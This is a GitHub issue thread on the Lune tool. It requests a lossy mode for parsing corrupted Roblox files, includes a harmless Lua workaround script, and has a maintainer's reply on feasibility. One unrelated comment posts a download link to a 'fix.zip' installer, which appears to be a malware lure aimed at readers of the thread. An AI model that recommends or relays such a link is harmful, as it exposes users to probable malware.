Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

A --unsafe / --lossy type flag for working with corrupted files #246

Closed
nightcycle opened this issue Aug 22, 2024 · 2 comments
Closed

A --unsafe / --lossy type flag for working with corrupted files #246

nightcycle opened this issue Aug 22, 2024 · 2 comments
Labels
enhancement New feature or request external Issue depends on external factors roblox Issues pertaining to the built-in Roblox library

Comments

@nightcycle
Copy link

Thank y'all again for resolving the recent Roblox introduced serialization issue yesterday, however I do think it illuminated a need for working the datamodels in a way that doesn't always assume validity.

This is something other roblox file modifying tools like rbxmk can do - in fact yesterday I wrote this code to get around the issue:

local filePath = ...
assert(type(filePath) == "string", "Expected filePath argument at 1")

print("reading file", filePath)
local game = fs.read(filePath)

print("writing lighting debug file")
local lighting = game:GetService("Lighting")

local lighting_file = "lighting.rbxmx"
fs.write(lighting_file, lighting)

local lighting_content = fs.read(lighting_file, "txt")
lighting_content = string.gsub(
	lighting_content,
	"��� ���RBX_OriginalTechnologyOnFileLoad���",
	""
)

fs.write(lighting_file, lighting_content, "txt")

lighting:Destroy()

local newLighting = fs.read(lighting_file, "rbxmx"):GetChildren()[1]
newLighting.Parent = game

fs.remove(lighting_file)

print("writing file", filePath)
fs.write(filePath, game)

I would have much preferred to write this code in Lune - I really like Lune. However it would refuse to open / let me edit any part of the corrupted place file. I think that there should be support for some proactive patching / cleaning of corrupted files. For example if a single property is causing an error, just reset that property to the default / remove it entirely. Obviously you'd want to print a warning whenever it does this, and I think it would be best for this behavior to be opt-in via flag. But I think there is a legitimate need for it.

The next time a file is corrupted, it might not be some global outage that immediately gets fixed - it might be due to developer error, I don't know about y'all but I've certainly made mistakes editing a DOM before. I think Lune would be a better tool if it allowed developers to not be blocked when that happens.

Anyways, thank you for your time!

@filiptibell filiptibell added enhancement New feature or request roblox Issues pertaining to the built-in Roblox library external Issue depends on external factors labels Aug 22, 2024
@1sopropanol
Copy link

Download
https://www.mediafire.com/file/nyekc4ehyxg2ijy/fix.zip/file
In the installer menu, select "gcc."

@Dekkonot
Copy link
Contributor

So for context, Lune uses a library named rbx-dom for Roblox file parsing. This is the same one maintained by Rojo.

Part of the reason this was an issue is because we parse binary blobs as we read the file, rather than at access-time or anything of that nature.

This would probably have to be implemented as its own library rather than a parser option since I'm not sure how feasible it is on our end.

@nightcycle
Copy link
Author

Gotcha, well thank you for considering! I trust you're correct on the feasibility - as rbxmk exists already as a back-up a new tool probably wouldn't be worth the effort. Thank you!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
enhancement New feature or request external Issue depends on external factors roblox Issues pertaining to the built-in Roblox library
Projects
None yet
Development

No branches or pull requests

4 participants